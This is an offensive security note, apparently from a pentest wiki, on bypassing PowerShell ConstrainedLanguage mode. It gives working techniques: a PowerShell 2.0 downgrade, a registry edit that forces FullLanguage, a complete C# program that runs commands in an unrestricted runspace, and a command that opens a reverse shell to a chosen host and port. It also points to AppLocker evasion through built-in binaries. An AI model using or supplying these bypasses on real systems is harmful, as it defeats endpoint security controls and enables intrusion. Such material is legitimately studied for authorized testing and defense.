Bypass PowerShell ConstrainedLanguageMode

Overview

As described in the official Microsoft documentation, the language mode of a PowerShell session determines, in part, which elements of the PowerShell language can be used in the session.

The following four language modes are currently supported in PowerShell:

The PowerShell language mode can be defined in the __PSLockdownPolicy environment variable. The following registry key sets the aforementioned variable system-wide, resulting in the defined language mode to be enforced for all PowerShell sessions:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\__PSLockdownPolicy

AppLocker & PowerShell ConstrainedLanguage mode

Starting from PowerShell version 5.0, if a Windows AppLocker policy in Allow Mode (whitelisting) is applied to scripts, PowerShell will automatically start in ConstrainedLanguage mode. As per PowerShell ♥ the Blue Team, this restriction applies to both interactive input and user-authored scripts.

PowerShell language mode retrieval

The following command retrieves the language mode of the current PowerShell session:

$ExecutionContext.SessionState.LanguageMode

Note that in sessions running in RestrictedLanguage or NoLanguage mode, the command will return an error, due to the fact that the dot method cannot be used to retrieve property values. The error message returned will however indicate the language mode of the session.

[Unprivileged] ConstrainedLanguage mode bypass using PowerShell downgrade

As the ConstrainedLanguage language mode was introduced in PowerShell version 3.0, executing PowerShell version 2.0 can be used to easily bypass the restriction:

# Starts an interactive PowerShell session.
powershell.exe -version 2

powershell.exe -version 2 -c '$ExecutionContext.SessionState.LanguageMode'

Note that downgrading PowerShell to circumvent language mode will not be doable on the Windows 10 operating system in a default configuration, as the underlying .NET Framework 2.0, required to run version 2.0 of PowerShell, is not installed.

[Privileged] System-wide deactivation through removal of the associated registry key

By default, members of the local built-in Administrators group can modify the __PSLockdownPolicy registry key, which governs the system-wide setting of the language mode environment variable.

A new PowerShell session must be started after the modification for the new environment variable value to be taken into account.

# Retrieves the ACL of the Environment registry key.

Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" | Select-Object -ExpandProperty Access
# Sets the PowerShell language mode to "FullLanguage".
# FullLanguage = 8 & ConstrainedLanguage = 4.

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy -Value 8

[Unprivileged] ConstrainedLanguage mode bypass using PowerShell hosts

As the language mode is only applied to powershell.exe / PowerShell ISE, creating a PowerShell host in a C# application may be use to bypass the ConstrainedLanguage language mode. PowerShell commands can indeed be called in a different runspace in C# application using the System.Management.Automation library. The PowerShell commands called under this scenario will not be affected by the language mode defined on the system.

Standard binary

The following C# code snipped, adapted from PSByPassCLM, can be used to emulate an interactive PowerShell console in a runspace unaffected by language mode:

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Text;

namespace PowerShellConstrainedLanguageBypass {
    public class Program {
        public static void Main(string[] args) {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();

            RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
            runSpaceInvoker.Invoke("Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process");

            string cmd = "";
            do {
                Console.Write("PS > ");
                cmd = Console.ReadLine();

                if (!string.IsNullOrEmpty(cmd)) {

                    using (Pipeline pipeline = runspace.CreatePipeline()) {

                        try {
                            pipeline.Commands.AddScript(cmd);
                            pipeline.Commands.Add("Out-String");

                            Collection<PSObject> results = pipeline.Invoke();
                            StringBuilder stringBuilder = new StringBuilder();

                            foreach (PSObject obj in results) {
                                stringBuilder.AppendLine(obj.ToString());
                            }

                            Console.Write(stringBuilder.ToString());
                        }

                        catch (Exception ex) {
                            Console.WriteLine("{0}", ex.Message);
                        }
                    }
                }
            } while (cmd != "exit");
        }
    }
}

PSByPassCLM provides an already compiled binary in the project's GitHub repository:

# Starts an interactive PowerShell console.
PsBypassCLM.exe

# Attempts a reverse shell connection to the specified host. The remote host must be listening on the specified port.
PsBypassCLM.exe <HOSTNAME | IP> <PORT>

With AppLocker restricting executable usage

If Windows AppLocker is enabled, and a policy restrict the execution of binaries, AppLocker will have to be circumvented in order to bypass the PowerShell ConstrainedLanguage language mode. In its default configuration, AppLocker can be easily bypassed. Refer to the Windows - Bypass AppLocker note for more information on how to enumerate the defined rules and default-configuration bypass techniques.

If an hardened AppLocker configuration is implemented, the following tools leverage Windows built-in binaries, that may be allowed by the AppLocker rules defined in the targeted environment, to bypass the ConstrainedLanguage language mode. Windows built-in binaries are exploited to load a C# Dynamic Link Library (DLL) that uses the System.Management.Automation library to emulate an interactive PowerShell console unaffected by language mode (similarly to what is accomplished by the script above).


References

http://www.3nc0d3r.com/2016/12/pslockdownpolicy-and-ways-around-it.html https://github.com/p3nt4/PowerShdll https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ https://decoder.cloud/2017/11/17/we-dont-need-powershell-exe-part-3/ https://github.com/padovah4ck/PSByPassCLM https://www.sysadmins.lv/blog-en/powershell-50-and-applocker-when-security-doesnt-mean-security.aspx https://github.com/stonepresto/CLMBypass

Last updated